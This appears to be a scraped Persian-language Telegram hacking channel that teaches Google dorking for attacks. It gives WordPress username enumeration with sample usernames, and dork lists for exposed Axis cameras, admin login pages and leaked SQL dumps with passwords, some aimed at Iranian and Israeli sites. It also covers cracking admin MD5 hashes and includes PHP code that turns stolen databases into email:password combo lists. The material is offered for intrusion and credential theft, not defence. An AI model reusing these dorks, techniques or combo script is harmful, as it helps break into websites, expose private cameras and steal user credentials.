سلام دوستان کانال گوگل هکینگ دیتابیس از امروز دوباره فعالیت خود را با قدرت هرچه تمام تر آغاز کرد
- آخرین دورک های گوگل هکینگ
- متفاوت ترین متود های دورک نویسی
- پیداکردن آسیب پذیری ها با گوگل و هک ادمین سایت
- هک دیتابیس و نفوذ به سایت
- روش کیل کردن هش های MD5 بدون مشکل
- دورک های پیدا کردن ip دوبین های مداربسته
- روش پیدا کردن صفحه Login پورتال های اختصاصی
- معروفی ابزار های جمع آوری اطلاعات
- پیدا کردن اسناد و مطالب شخصی و محافظت شده
- بهترین روش برای جمع آوری پیشرفته اطلاعات از تارکت
- محتوای آموزشی مرتبط با گوگل هکینگ
- نفوذ به سایت های وردپرسی و آسیب پذیری های آن
- هک سرور های FTP با فایل کانفیگ
- هک و نفوذ به سرویس ها و پلتفرم های آسیب پذیر
- پیداکردن مطالبی که در دسترس کاربران عمومی نیست
- روش هایی برای پیداکردن فایل های دیتابیس بکاپ شده و هک ادمین و مدیر سایت
- جمع آوری اطلاعات از یک وبسایت خاص یا فرد حقیقی
- جمع آوری اطلاعات به وسیله شبکه های اجتماعی
- استخراج اطلاعات ادمین برخی از سایت ها
- استخراج نام افراد با شماره تلفن
JOiN →@googlehackingdb

پیداکردن username کاربران سایت در wordpress
برای مثال pentestcore.com
کد رو به رو رو مقابل آدرس دامین سایت قرار بدین:
wp-json/wp/v2/users
پس باید آدرس سایت به این صورت بشه
pentestcore.com/wp-json/wp/v2/users
نتیجه:
مقابل name نام کاربری کاربران قرار میگیرد
"name":"arsalan"
"name":"mahan"
"name":"meshkat40"
"name":"mrhosseins07"
"name":"nima4869"
"name":"Rebe1i0n"
"name":"Rebe1i0n58"
روی عموم سایت های وردپرسی جواب میده
به همین سادگی از تارگت اطلاعات جمع می کنیم مثلا اگر بخواید کرک کنید نیازی نیست دنبال نام کاربری بگردید
JOiN →@googlehackingdb

گاهی دوستان میان پی وی میگن ما اطلاعات ادمین رو دراوردیم ولی نمیتونیم فرم ورود به سایت رو پیدا کنیم
برای پیدا کردن ادمین اون سایت اول باید آدرس دامنه سایت رو داشته باشید (مثلا domain.com)
برای فیلتر کردن کل صفحات سایت از دستور site: استفاده میکنیم مثلا site:domain.com
خوب برای پیدا کردن ادمین سایت اگر سایت انگلیسی زبان باشه دورک پایین رو در گوگل سرچ می کنیم
site:domain.com admin
یا
site:domain login
خوب بجای domain.com آدرس دامنه سایت مورد نظر رو وارد کنید
اگر موفق نشدید از بزار admin finder در کالی لینوکس استفاده کنید.
JOiN →@googlehackingdb

✅آخرین دورک های 2019 گوگل هکینگ
JOiN →@googlehackingdb

✅دسترسی به دوربین های امنیتی axis با گوگل هکینگ
چطور با استفاده از روش گوگل هکینگ دوربین های axis را پیدا کنیم؟

✅برای پیدا کردن دوربین های مداربسته باید کد دورک را در گوگل جستجو کنید و نتیجه ها را مورد برسی قرار دهیم دورک رو به رو را جستجو کنید: inurl:axis.cgi ext:cgi
🔰لیست دورک ها در پست بعدی..🔰
خوب بعد از جستجوی این دورک(کد جستجوی گوگل هکینگ) نتایجی از گوگل دریافت می کنید که حاوی صفحه های خصوصی و آسیب پذیر است.
JOiN →@googlehackingdb

📌لیست دورک های axis(در گوگل جستجو کنید):

intitle:"Axis Happiness Page" "Examining webapp configuration"
inurl:axis.cgi ext:cgi
"Copyright MaxiSepet ©"
intitle:"Live View / - AXIS" | inurl:view/view.shtml OR inurl:view/indexFrame.shtml | intitle:"MJPG Live Demo" | "intext:Select preset position"
allintitle: Axis 2.10 OR 2.12 OR 2.30 OR 2.31 OR 2.32 OR 2.33 OR 2.34 OR 2.40 OR 2.42 OR 2.43 "Network Camera "
intitle:Axis inurl:"/admin/admin.shtml"
tilt intitle:"Live View / - AXIS" | inurl:view/view.shtml
intitle:"AXIS 240 Camera Server" intext:"server push" -help
intitle:"Network Print Server" intext:"http://www.axis.com" filetype:shtm
Axis Video Manual
axis storpoint "file view" inurl:/volumes/
inurl:axis-cgi
intitle:"axis storpoint CD" intitle:"ip address"
intitle:"Live View / - AXIS" | inurl:view/view.sht
intitle:"The AXIS 200 Home Page"
intitle:"Live View / - AXIS"
inurl:indexFrame.shtml Axis
JOiN →@googlehackingdb

✅چند نمونه سایت برای دریافت دورک های آماده

exploit-db.com
en.wikipedia.org

☑️بهترین وبسایت برای کرک Hash MD5
گاهی پسورد ها با الگریتم قدرتمند MD5 هش شدن نمونه Admin به 21232f297a57a5a743894a0e4a801fc3 تبدیل شده و قابل استفاده نیست شما می توانید در سایت زیر این هش هارو کرک کنید🔻
👁‍🗨 https://crackstation.net/

JOiN →@googlehackingdb

🔰Find Sql dump Backup → Dorks

intext:"@gmail.com" AND intext:"@yahoo.com" filetype:sql
intext:"phpMyAdmin SQL Dump" AND intext:"Host:"AND intext:"Database:" filetype:sql
intext:"phpMyAdmin SQL Dump" filetype:sql
intext:"MySQL dump" filetype:sql
intext:user.sql intitle:index.of
intext:backup.sql intitle:index.of
intitle:index of /.sql.gz intext:/backup/
"index of" "database.sql.zip"
"Index of" "database.sql"
intitle:"MyWebSQL" + "User ID: Password:"
inurl:"?db_backup" | inurl:"dbbackup" -site:github.com "sql.gz" | "sql.tgz" | "sql.tar" | "sql.7z"
Codeigniter filetype:sql intext:password | pwd intext:username | uname intext: Insert into users values
CakePHP filetype:sql intext:password | pwd intext:username | uname intext: Insert into users values
filetype:sql intext:password | pass | passwd intext:username intext:INSERT INTO users VALUES
"-- Dumping data for table" ext:sql
filetype:tpl intext:mysql_connect
"-- Account dump" ext:sql -git
intext:DB_PASSWORD || intext:"MySQL hostname" ext:txt
"-- MySQL Administrator dump" ext:sql
"mysqli_connect" ext:inc
"-- MySQL dump" ext:sql -git
"INSERT INTO phpbb_users" ext:sql
"INSERT INTO phpbb_users" ext:sql
ext:sql intext:username intext:password
ext:sql intext:"alter user" intext:"identified by"
ext:sql intext:@gmail.com intext:password
ext:sql intext:@hotmail.com intext :password
inurl:advsearch.php?module= & intext:sql syntax
intext:SQL syntax & inurl:index.php?=id & inurl:gov & inurl:gov
site:ir ext:sql
site:il ext:sql
👌coded by @MrVirus32
✅جدول ادمین رو پیدا کنید اگر رمز ادمین هش شده بود با استفاده از سایت
https://crackstation.net/
که در پست قبلی معرفی شد هش هارو کرک کنید
آموزش پیدا کردن فرم ورود ادمین هم در پست های قبلی گفته شد
اگر بخواید کمبو درست کنید باید دیتابیس رو روی phpMyAdmin هاستتون Export کنید و با یه query ساده به صورت user:Pass / email:pass دربیارید
که نمونه کد php اون رو در پست بعدی براتون قرارمیدم
www.hacking32.rzb.ir
JOiN →@googlehackingdb

📝برای کمبو کردن یوزر های دیتابیس هایی که آموزش پیداکردنش رو در پست قبلی آموزش دادیم
بهتره یکم sql و php بلد باشید ولی درکل پیچیده نیست.
یه فایل با فرمت php درست کنید بعد اطلاعات دیتابیس رو در بخش mysqli_connect وارد کنید نام جدول کاربران هم به جای "نام جدول" قرار بدید بخش های ['email'] و ['password'] هم بسته به اطلاعات موجود در دیتابیس وارد کنید و در آدرس بار آدرس فایل php رو وارد کنید تا خروجی کمبو رو براتون لیست کنه
بعد فایل کبو رو با استفاده از کلید ctrl+s در مرورگر با فرمت txt ذخیره کنید
➖➖➖➖➖➖➖➖
<!DOCTYPE html>
<html>
<head>
<title>telegram/googlehackingdb</title>
</head>
<body>
<?php
each "<b>telegram:googlehackingdb<br> Combo List User:Password </b>";
$link=mysqli_connect("localhost","username","password","dbName");
$data=("SELECT * FROM نام جدول");
$result=mysqli_query($link,$data);
while($info=mysqli_fetch_array($result))
{
echo $info['email'].":".$info['password']."<br>";
}
//👌coded by @MrVirus32
?>
</body>
</html>
➖➖➖➖➖➖➖➖
www.hacking32.rzb.ir
JOiN →@googlehackingdb

✅دورک برای جستجوی سایت های دارک وب در گوگل!
(site:onion.link | site:onion.cab | site:tor2web.org | site:onion.sh | site:tor2web.fi | site:onion.direct) کلمه مورد نظر
به جای کلمه مورد نظر جمله ای که میحخواهید جستجو کنید وارد کنید سپس دورک رو در گوگل جستجو کنید
➖➖➖➖➖➖➖➖
www.hacking32.rzb.ir
JOiN →@googlehackingdb

✅مقاله آموزش فارسی راه اندازی اینترنت ماهواره ای

☑️شما با استفاده از دیش خانگی خود ، تمام اطلعات یا هر بخشی که نیاز دارید را بر روی دستگاه های خویش مانند کامپیوتر،لپ تاپ و موبایل با سرعت ۲۰۰ مگ بر ثانیه 😳 دانلود می کنید
☑️یکی از کامل ترین آموزش ها است
🔗دانلود مقاله در پست بعدی👇
➖➖➖➖➖➖➖➖
www.hacking32.rzb.ir
JOiN →@googlehackingdb

✅مقاله آموزش راه اندازی اینترنت ماهواره ای
➖➖➖➖➖➖➖➖
www.hacking32.rzb.ir
JOiN →@googlehackingdb

✅مقدمات گوگل هکینگ و دستورات آن به زبان ساده
➖➖➖➖➖➖➖➖
www.hacking32.rzb.ir
JOiN →@googlehackingdb

☑️ماشین مجازی موقت اندروید
باسرعت 😢230mbps
تا حالا شده بخواید یه فایل حجیم رو از روی هاست دانلود و بعد آپلود کنید یا یه فایل سنگین با تلگرام آپلود کنید یا یه بازی رو بدون این که گوشی اندروید داشته باشید تست کنید
این سایت به شما یه ماشین مجازی رایگان و پر سرعت میده
- دقت کنید برای دور زدن محدودیت دانلود باید به بخش تنظیمات بروید سپس از بخش apps روی مرورگر بزنید browser و بعد permissions شما باید تیک storage بزنید تا بتونید فایل دانلود و آپلود کنید
خود بنده از سایتم بکاپ گرفتم و چند فایل سنگین از سایت های دیگه روی هاستم آپلود کردم😊

لینک افزونه گوگل کروم:
yon.ir/andro1
➖➖➖➖➖➖➖➖
لینک سایت:
https://www.apkonline.net/runapk/create-androidapk.html?app=android_6.0_blank
➖➖➖➖➖➖➖➖
www.hacking32.rzb.ir
JOiN →@googlehackingdb

با این دورک می تونید سایت های پروکسی آنلاین رو پیدا کنید
کد دورک زیر رو جستجو کنید
intitle:"miniProxy"
➖➖➖➖➖➖®
@GoogleHackingdb

VPN & Free ACC
➖➖➖➖➖➖➖➖
JOiN →@googlehackingdb

☑️ Usename & Password → Dork

🔰برای جستجوی سایت های ایرانی از دستورات زیر استفاده کنید
Site:ir و site:ac.ir و....

coded by @Mr_Virus32
➖➖➖➖➖➖➖➖
JOiN →@googlehackingdb

تیم امنیت گوگل به یک باگ گوشی های آیفون پی برد و با همکاری اپل آن را رفع کرد. اگر با این مشکل امنیتی آیفون درگیر می‌شدید، با ارسال یک پیامک، دیگران را مجبور به ریست فکتوری کردن گوشی خود می‌کردید!گر این موضوع پیش از برطرف شدن ایراد علنی بود، افراد زیادی به قصد اذیت دیگران از آن سواستفاده می‌کردند، اما خوشبختانه این اتفاق رخ نداد. این باگ گوشی های آیفون سبب می‌شود در صورت دریافت یک پیامک خاص توسط آن‌ها، کاربر چاره‌ای به جز ریست فکتوری کردن دستگاه نداشته باشد.
➖➖➖➖➖➖➖➖
JOiN →@googlehackingdb